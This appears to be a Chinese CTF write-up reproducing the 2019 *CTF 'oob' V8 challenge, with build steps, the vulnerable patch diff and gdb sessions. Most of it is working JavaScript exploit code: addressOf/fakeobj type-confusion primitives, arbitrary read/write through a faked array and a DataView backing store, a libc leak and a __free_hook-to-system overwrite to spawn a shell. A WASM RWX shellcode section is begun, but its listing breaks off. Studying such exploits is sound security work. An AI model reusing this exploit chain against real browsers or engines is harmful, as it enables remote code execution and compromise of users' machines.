前言

通过 2019-starctf的一道例题尝试入门 v8。跟着前辈们学习并记录一下自己的复现路程。

环境:Ubuntu 18.04

题目:下载链接:https://github.com/0xfocu5/CTF/blob/master/Chrome/2019-starctf-oob.zip

环境搭建

翻墙 翻墙 翻墙

1
2
3
4
5
6
7
$ cd ~
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git #下载谷歌源码管理器
$ export PATH=$PATH:~/depot_tools #加入环境变量
$ mkdir chromium
$ cd chromium
$ fetch --no-history v8 #获取v8源码
$ cd v8

把题目给出的diff文件应用到源码中

1
2
3
4
5
6
7
$ git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ gclient sync #同步solution的各个仓库
$ git apply ../oob.diff #将diff文件加入到v8中源代码分支中
$ ./tools/dev/v8gen.py x64.release
$ ninja -C ./out.gn/x64.release # Release version
$ ./tools/dev/v8gen.py x64.debug
$ ninja -C ./out.gn/x64.debug # Debug version

基础知识

V8流程

JavaScript是一门解释型语言,而v8则是chrome浏览器的JavaScript解析引擎,大多数漏洞都是由v8所引起的 (v8编译过后的可执行文件是d8).

JavaScript的执行流程大致如下图:

image-20200921161412221

  • JS 源代码经过词法分析形成 Token,解析器(Parser)解析token形成抽象语法树(AST)
  • 解释器(Ignition)将 AST 生成可执行的字节码。解释器可以直接执行字节码,或者通过编译器将其编译为二进制的机器代码再执行。
  • 解释器执行字节码过程中,如果发现代码被重复执行,热点代码(HotSpot)超过阈值后就会丢给优化编译器(TurboFan)编译成二进制代码,然后优化。下次再执行时则直接执行这段优化后的二进制代码。
  • 如果JS对象发生变更,优化后的二进制代码变为无效代码,编译器执行反优化,下次执行就回退到解释器解释执行。

V8调试

入这个选项就可以在js中调用一些有助于调试的本地运行时函数:

1
2
%DebugPrint(obj) 输出对象地址
%SystemBreak() 触发调试中断主要结合gdb等调试器使用

PS:v8团队的专门编写了一个gdbgdbinit脚本。在~/xxx/v8/tools下,将其更名为gdbinit_v8

1
2
3
4
5
6
$ cp gdbinit_v8 ~/.gdbinit_v8
$ cd ~
$ vim .gdbinit
#加入下面内容
source ~/.gdbinit_v8
source User/xxx/v8/tools/gdb-v8-support.py

有两个常用命令

1
2
job [address_of_obj]  # gdbinit_v8中的特有命令,打印出对象内存结构,注意对象地址为其实际地址加1
telescope [real_address] [num] # pwndbg命令,打印出real_address地址处num个内存单元的值,该地址为真实地址

示例:

1
2
3
4
5
6
7
8
9
var a = [1,2,3];
var b = [1.1, 2.2, 3.3];
var c = [a, b];
%DebugPrint(a);
%SystemBreak(); //触发第一次调试
%DebugPrint(b);
%SystemBreak(); //触发第二次调试
%DebugPrint(c);
%SystemBreak(); //触发第三次调试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
v8/out.gn/x64.debug$ gdb ./d8
pwndbg> set args --allow-natives-syntax ./test.js
pwndbg> r
Starting program: /home/focu5/chromium/v8/out.gn/x64.debug/d8 --allow-natives-syntax ./test.js
...
DebugPrint: 0x2658b5f8df19: [JSArray]
- map: 0x2507e8002d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3425c3f51111 <JSArray[0]>
- elements: 0x2658b5f8de39 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1a4835400c71 <FixedArray[0]> {
#length: 0x3142d66401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2658b5f8de39 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
...
pwndbg> job 0x2658b5f8df19
0x2658b5f8df19: [JSArray]
- map: 0x2507e8002d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3425c3f51111 <JSArray[0]>
- elements: 0x2658b5f8de39 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1a4835400c71 <FixedArray[0]> {
#length: 0x3142d66401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2658b5f8de39 <FixedArray[3]> {
0: 1
1: 2
2: 3
}

PS:在release使用 job命令会报`No symbol “_v8_internal_Print_Object” in current context. 的错误

map 表明了一个对象的类型对象b为PACKED_DOUBLE_ELEMENTS类型
prototype prototype
elements 对象元素
length 元素个数
properties 属性

Value B is an 8 bytes long value //in x64.
If B is a double:
B is the binary representation of a double
Else:
if B is a int32:
B = the value of B << 32 // which mean 0xdeadbeef is 0xdeadbeef00000000 in v8
else: // B is a pointer
B = B | 1

v8在内存中只有数字和对象两种表示。为了区分两者,v8在所有对象的内存地址末尾都加了1。例:上述 elements的实际地址应为 0x2658b5f8de39-1

题目复现

漏洞分析

分析题目所给出的diff文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
  • 自定义了一个函数kArrayOob,可以通过oob调用
  • 该函数将首先检查参数的数量是否大于2(第一个参数始终是this参数)。如果是,则返回undefined。
  • 如果只有一个参数(this),则会返回array[length]
  • 如果有两个参数(thisvalue),它将value作为一个浮点数写入array[length]。(以上所述的参数均为cpp中)
  • 上述逻辑转换为JavaScript中的对应逻辑就是,当oob函数的参数为空时,返回数组对象第length个元素内容;当oob函数参数个数不为0时,就将第一个参数写入到数组中的第length个元素位置。

编写test.js如下

1
2
3
4
5
6
7
8
var a = [1, 2, 3];
%DebugPrint(a);
%SystemBreak();
var addr = a.oob();
console.log("[*] oob return addr:" + addr.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> telescope 0x25641fd4ddd9-1
00:0000│ 0x25641fd4ddd8 —▸ 0xe46856c2d99 ◂— 0x400003e40e90401 <--- map
01:0008│ 0x25641fd4dde0 —▸ 0x3e40e9040c71 ◂— 0x3e40e90408 <--- properties
02:0010│ 0x25641fd4dde8 —▸ 0x25641fd4dd69 ◂— 0x3e40e90408 <--- elements
03:0018│ 0x25641fd4ddf0 ◂— 0x300000000 <--- length
04:0020│ 0x25641fd4ddf8 ◂— 0x0

pwndbg> telescope 0x25641fd4dd69-1
00:0000│ 0x25641fd4dd68 —▸ 0x3e40e9040851 ◂— 0x3e40e90401
01:0008│ 0x25641fd4dd70 ◂— 0x300000000 <--- length
02:0010│ 0x25641fd4dd78 ◂— 0x100000000 <--- elements
03:0018│ 0x25641fd4dd80 ◂— 0x200000000 <--- elements
04:0020│ 0x25641fd4dd88 ◂— 0x300000000 <--- elements
05:0028│ 0x25641fd4dd90 —▸ 0x3e40e9040851 ◂— 0x3e40e90401 <--- map
06:0030│ 0x25641fd4dd98 ◂— 0x400000000
07:0038│ 0x25641fd4dda0 —▸ 0x39ee928c3b29 ◂— 0x3e40e90409
...

pwndbg> c
Continuing.
[*] oob return addr:3.38180564031224e-310
...

pwndbg> p {double} 0x25641fd4dd90 <--- map pointer
$17 = 3.3818056403122411e-310

pwndbg> c
Continuing.

pwndbg> telescope 0x25641fd4dd69-1
00:0000│ 0x25641fd4dd68 —▸ 0x3e40e9040851 ◂— 0x3e40e90401
01:0008│ 0x25641fd4dd70 ◂— 0x300000000
02:0010│ 0x25641fd4dd78 ◂— 0x100000000
03:0018│ 0x25641fd4dd80 ◂— 0x200000000
04:0020│ 0x25641fd4dd88 ◂— 0x300000000
05:0028│ 0x25641fd4dd90 ◂— 0x4000000000000000 <--- 被覆盖
06:0030│ 0x25641fd4dd98 ◂— 0x400000000
07:0038│ 0x25641fd4dda0 —▸ 0x39ee928c3b29 ◂— 0x3e40e90409

pwndbg> p {double} 0x25641fd4dd90
$18 = 2

可以发现v8的内存对象大致如下:其中map pointer描述数组对象的结构,element pointer是存储数组元素的结构。

1
2
3
4
5
6
7
8
-32 : some pointer // not related to the challenge. This is memory is also where the element pointer points at.
-24 : length of segment
-16 : element 0
-8 : element 1
+0 : map pointer // the address where the obj pointer points at
+8 : property pointer
+16 : element pointer //pointing at location -32
+24 : length( in the high four bytes )

漏洞利用

1
2
3
4
var obj = {}
var a = [obj, 2.2];

%DebugPrint(a);
1
2
3
4
5
6
7
8
9
10
11
12
/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax ./test.js
DebugPrint: 0x3db1856cddd9: [JSArray]
- map: 0x0306e9582f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1c8177d11111 <JSArray[0]>
- elements: 0x3db1856cddf9 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x1bb28b3c0c71 <FixedArray[0]> {
#length: 0x26c38c5c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3db1856cddf9 <FixedArray[2]> {
0: 0x3db1856cdd81 <Object map = 0x306e9580459>
1: 0x3db1856cde19 <HeapNumber 2.2>

通过上述例子,我们可以看到我们所泄露出来的地址就是map pointer,而map pointer数组的指示其元素的类型,如果我们利用oob的读取功能将数组对象A的对象类型Map读取出来,然后利用oob的写入功能将这个类型写入数组对象 B,就会导致数组对象B的类型变为了数组对象A的对象类型,这样就造成了类型混淆。

如果我们定义一个 FloatArray 浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问 B[0] 返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问 B[0] 时,返回的就不是对象元素 B[0] ,而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问 A[0] 时,返回的就不是浮点数 A[0],而是以 A[0] 为内存地址的一个JavaScript对象了。

其实到现在可以简化一下漏洞:

  • 泄露 map pointer
  • 覆写 map pointer

addressOf && fakeObject

我们得到的数据都是浮点数的形式,而我们需要的是其在内存中的16进制数据,所以需要浮点数和整数之间的转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
var obj = {"a": 1};
var objArray = [obj];
var floatArray = [1.1];
var objArrayMap = objArray.oob();
var floatArrayMap = floatArray.oob();

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

// leak the addrsess of obj
function addressOf(obj_to_leak){
objArray[0] = obj_to_leak;
objArray.oob(floatArrayMap); // type(obj)-->type(float)
let addr = f2i(objArray[0])-1n;
objArray.oob(objArrayMap);
return addr;
}

function fakeobj(addr_to_fake){
floatArray[0] = i2f(addr_to_fake+1n);
floatArray.oob(objArrayMap); // type(float)-->type(obj)
let fake_obj = floatArray[0];
floatArray.oob(floatArrayMap);
return fake_obj;
}

//var test = {};
//%DebugPrint(test);
//var testAddr = addressOf(test);
//console.log("[*] leak object addr: 0x" + hex(testAddr));
//%SystemBreak();

/*
v8/out.gn/x64.release$ ./d8 --allow-natives-syntax ./test.js
0x26ebb348f061 <Object map = 0x2e6f2340459>
[*] leak object addr: 0x000026ebb348f060
*/

任意地址写

我们可以写一个 js 数组伪造成一个 js 对象(结构如下),那么当我们访问fake_array[2]的时候就会当成一个对象去访问,那么我们就可以修改他的值,从而实现任意地址写

1
2
3
4
5
6
var fake_array = [
float_array_map,
0,
i2f(0x4141414141414141), //<-- elements指针
i2f(0x400000000)
];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var obj = {"a": 1111};
var a = [obj, 2.2];
%DebugPrint(a);
%DebugPrint(a[0]);
%SystemBreak();

/*
DebugPrint: 0x3f28a7f0de19: [JSArray]
- map: 0x17f6b1442f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x32ef84dd1111 <JSArray[0]>
- elements: 0x3f28a7f0de39 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x394d91600c71 <FixedArray[0]> {
#length: 0x296b7b3c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3f28a7f0de39 <FixedArray[2]> {
0: 0x3f28a7f0dda9 <Object map = 0x17f6b144ab39> <--- elements point
1: 0x3f28a7f0de59 <HeapNumber 2.2>
}
DebugPrint: 0x3f28a7f0dda9: [JS_OBJECT_TYPE] <--- elements point
- map: 0x17f6b144ab39 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x32ef84dc2091 <Object map = 0x17f6b1440229>
- elements: 0x394d91600c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x394d91600c71 <FixedArray[0]> {
#a: 1111 (const data field 0)
}*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];

// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

/*
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var a_addr = addressOf(a);
console.log("[*] addressOf a: 0x" + hex(a_addr));
read64(a_addr);
//%SystemBreak();
write64(a_addr, 0x01020304n);
%SystemBreak();
*/

泄露libc

方法A:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> telescope 0x000038ebfeb8f9a0-0x8000 0x5000
...
4ab:2558│ 0x38ebfeb89ef8 —▸ 0x1b4669081f49 ◂— 0x300001b46690801
4ac:2560│ 0x38ebfeb89f00 ◂— 0x7b837e1e6
4ad:2568│ 0x38ebfeb89f08 —▸ 0xcd44db0a001 ◂— 0xe600001b46690804
4ae:2570│ 0x38ebfeb89f10 —▸ 0x1b4669080b71 ◂— 0x200001b46690801
4af:2578│ 0x38ebfeb89f18 —▸ 0x55dc49c98e40 ◂— push rbp
4b0:2580│ 0x38ebfeb89f20 —▸ 0x1b4669080b71 ◂— 0x200001b46690801
4b1:2588│ 0x38ebfeb89f28 —▸ 0x55dc49c98e40 ◂— push rbp
pwndbg> x/gx 0x55dc49c98e40
0x55dc49c98e40 <_ZN2v812_GLOBAL__N_118WebAssemblyCompileERKNS_20FunctionCallbackInfoINS_5ValueEEE>: 0x56415741e5894855
1
2
3
4
5
6
7
8
9
10
11
12
var a = [1.1, 2.2, 3.3];
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
start_addr = start_addr-0x8000n;
while(1){
start_addr = start_addr-8n;
leak_d8_addr = read64(start_addr);
if(((leak_d8_addr&0x0000ff0000000fffn)==0x0000560000000e40n)||((leak_d8_addr&0x0000ff0000000fffn)==0x0000550000000e40n)){
console.log("leak process addr success: "+hex(leak_d8_addr));
break;
}
}

跑了半天,没泄露出来…

方法B:

1
2
3
4
5
/*------------------------------leak d8------------------------------*/
var code = read64(addressOf(floatArray.constructor)-0x1n+0x30n); //get constructor.code ptr
var d8Leak = read64(code-0x1n+0x40n) >> 16n; //read addr from "mov r10, addr"
var d8Base = d8Leak - 0xad54e0n;
console.log("[*] d8 base : " + hex(d8Base));

查看Array对象结构 –> 查看对象的Map属性 –> 查看Map中指定的constructor结构 –> 查看code属性 –>在code内存地址的固定偏移处存储了v8二进制的指令地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
var test_array = [1.1];
%DebugPrint(test_array);
%DebugPrint(test_array.constructor);
%SystemBreak();
---------------------------------------------------------------------
pwndbg> pwd
xxx/v8/out.gn/x64.debug
...
DebugPrint: 0x24741f34ddb9: [JSArray]
- map: 0x3fb2ce6c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x39ddc5311111 <JSArray[0]>
- elements: 0x24741f34dda1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x2df35e640c71 <FixedArray[0]> {
#length: 0x18405dc001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x24741f34dda1 <FixedDoubleArray[1]> {
0: 1.1
}

DebugPrint: 0x39ddc5310ec1: [Function] in OldSpace
- map: 0x3fb2ce6c2d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x39ddc5302109 <JSFunction (sfi = 0x18405dc08039)>
- elements: 0x2df35e640c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: 0x39ddc5311111 <JSArray[0]>
- initial_map: 0x3fb2ce6c2d99 <Map(PACKED_SMI_ELEMENTS)>
- shared_info: 0x18405dc0aca1 <SharedFunctionInfo Array>
- name: 0x2df35e643599 <String[#5]: Array>
- builtin: ArrayConstructor
- formal_parameter_count: 65535
- kind: NormalFunction
- context: 0x39ddc5301869 <NativeContext[246]>
- code: 0x11c169a06c01 <Code BUILTIN ArrayConstructor>
- properties: 0x39ddc5311029 <PropertyArray[6]> {
#length: 0x18405dc004b9 <AccessorInfo> (const accessor descriptor)
#name: 0x18405dc00449 <AccessorInfo> (const accessor descriptor)
#prototype: 0x18405dc00529 <AccessorInfo> (const accessor descriptor)
0x2df35e644c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
0x2df35e644f41 <Symbol: Symbol.species>: 0x39ddc5310fd9 <AccessorPair> (const accessor descriptor)
#isArray: 0x39ddc5311069 <JSFunction isArray (sfi = 0x18405dc0ad39)> (const data field 1) properties[1]
#from: 0x39ddc53110a1 <JSFunction from (sfi = 0x18405dc0ad89)> (const data field 2) properties[2]
#of: 0x39ddc53110d9 <JSFunction of (sfi = 0x18405dc0adc1)> (const data field 3) properties[3]
}

pwndbg> job 0x3fb2ce6c2ed9
0x3fb2ce6c2ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3fb2ce6c2e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x18405dc00609 <Cell value= 1>
- instance descriptors #1: 0x39ddc5311f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x39ddc5311eb9 <TransitionArray[4]>Transition array #1:
0x2df35e644ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3fb2ce6c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x39ddc5311111 <JSArray[0]>
- constructor: 0x39ddc5310ec1 <JSFunction Array (sfi = 0x18405dc0aca1)>
- dependent code: 0x2df35e6402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

pwndbg> x/10gx 0x39ddc5310ec1-1
0x39ddc5310ec0: 0x00003fb2ce6c2d49 0x000039ddc5311029
0x39ddc5310ed0: 0x00002df35e640c71 0x000018405dc0aca1
0x39ddc5310ee0: 0x000039ddc5301869 0x000018405dc00699
0x39ddc5310ef0: 0x000011c169a06c01 0x00003fb2ce6c2d99
0x39ddc5310f00: 0x00002df35e640271 0x0000000000080008

pwndbg> p/x 0x39ddc5310ef0-0x39ddc5310ec0
$1 = 0x30

pwndbg> telescope 0x11c169a06c01+0x40-1
00:0000│ 0x11c169a06c40 ◂— movabs r10, 0x7f5949700fa0
01:0008│ 0x11c169a06c48 ◂— add byte ptr [rax], al
02:0010│ 0x11c169a06c50 ◂— add byte ptr [rax], al
... ↓
04:0020│ 0x11c169a06c60 —▸ 0x2df35e640a31 ◂— 0x2df35e6401
05:0028│ 0x11c169a06c68 —▸ 0x2df35e642c01 ◂— 0x2df35e6407
06:0030│ 0x11c169a06c70 —▸ 0x2df35e640c71 ◂— 0x2df35e6408
07:0038│ 0x11c169a06c78 —▸ 0x2df35e642791 ◂— 0x2df35e6407

pwndbg> vmmap 0x7f5949700fa0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7f5948274000 0x7f5949d8a000 r-xp 1b16000 136c000 /home/focu5/chromium/v8/out.gn/x64.debug/libv8.so +0x148cfa0

release版本下,则会泄露出 d8的地址

本地shell

有了libc剩下就可以和常规pwn一样了,有任意地址写,直接写free_hook就好。

在调试的时候发现写0x7f…这样的地址写不上去,看e3pem师傅的博客发现另一种写法

这里有另外一种方式来解决这个问题,DataView对象中的backing_store会指向申请的data_buf,修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。

1
2
3
4
5
6
7
8
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
var obj = {"a": 1};
var objArray = [obj];
var floatArray = [1.1];
var objArrayMap = objArray.oob();
var floatArrayMap = floatArray.oob();

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

// leak the addrsess of obj
function addressOf(obj_to_leak){
objArray[0] = obj_to_leak;
objArray.oob(floatArrayMap); // type(obj)-->type(float)
let addr = f2i(objArray[0])-1n;
objArray.oob(objArrayMap);
return addr;
}

function fakeobj(addr_to_fake){
floatArray[0] = i2f(addr_to_fake+1n);
floatArray.oob(objArrayMap); // type(float)-->type(obj)
let fake_obj = floatArray[0];
floatArray.oob(floatArrayMap);
return fake_obj;
}

var fake_array = [
floatArrayMap,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x30n
var fake_object = fakeobj(fake_object_addr);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

//get shell
var a = [1.1, 2.2, 3.3];
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var d8_addr = read64(code_addr + 0x41n) - 0x8424e0n;
console.log("[*] find libc d8_addr: 0x" + hex(d8_addr));
got_printf = d8_addr + 0xb073c8n;
console.log("[*] got_printf: 0x" + hex(got_printf));
libc_base = read64(got_printf)- 0x64f00n;
console.log("[*] libc: 0x" + hex(libc_base));
free_hook = libc_base + 0x3ed8e8n;
system = libc_base + 0x4f4e0n;
console.log("[*] free_hook: 0x" + hex(free_hook));
console.log("[*] system: 0x" + hex(system));
writeDataview(free_hook, system)
var shell_str = new String("/bin/sh\0");
//%SystemBreak();

WASM

WebAssembly或称wasm是一个实验性的低级编程语言,应用于浏览器内的客户端。WebAssembly是便携式的抽象语法树[1],被设计来提供比JavaScript更快速的编译及运行[2]。WebAssembly将让开发者能运用自己熟悉的编程语言(最初以C/C++作为实现目标)编译,再藉虚拟机引擎在浏览器内运行[3]。WebAssembly的开发团队分别来自MozillaGoogleMicrosoftApple,代表着四大网络浏览器FirefoxChromeMicrosoft EdgeSafari[4]。2017年11月,以上四个浏览器都开始实验性的支持WebAssembly[5][6]。WebAssembly 于 2019 年 12 月 5 日成为万维网联盟(W3C)的推荐,与 HTML,CSS 和 JavaScript 一起,成为 Web 的第四种语言。[7]

https://wasdk.github.io/WasmFiddle/,这个网站可以在线将C语言直接转换为wasm并生成JS配套调用代码。

1
2
3
4
5
6
7
8
9
10
11
12
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var d = f();
console.log("[*] return from wasm: " + d);
%SystemBreak();
/*
/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax ./test.js
[*] return from wasm: 42
Trace/breakpoint trap (core dumped)*/

js代码中加入wasm之后,程序中会存在一个rwx的段,我们可以把shellcode放到这个段里面,再跳过去执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
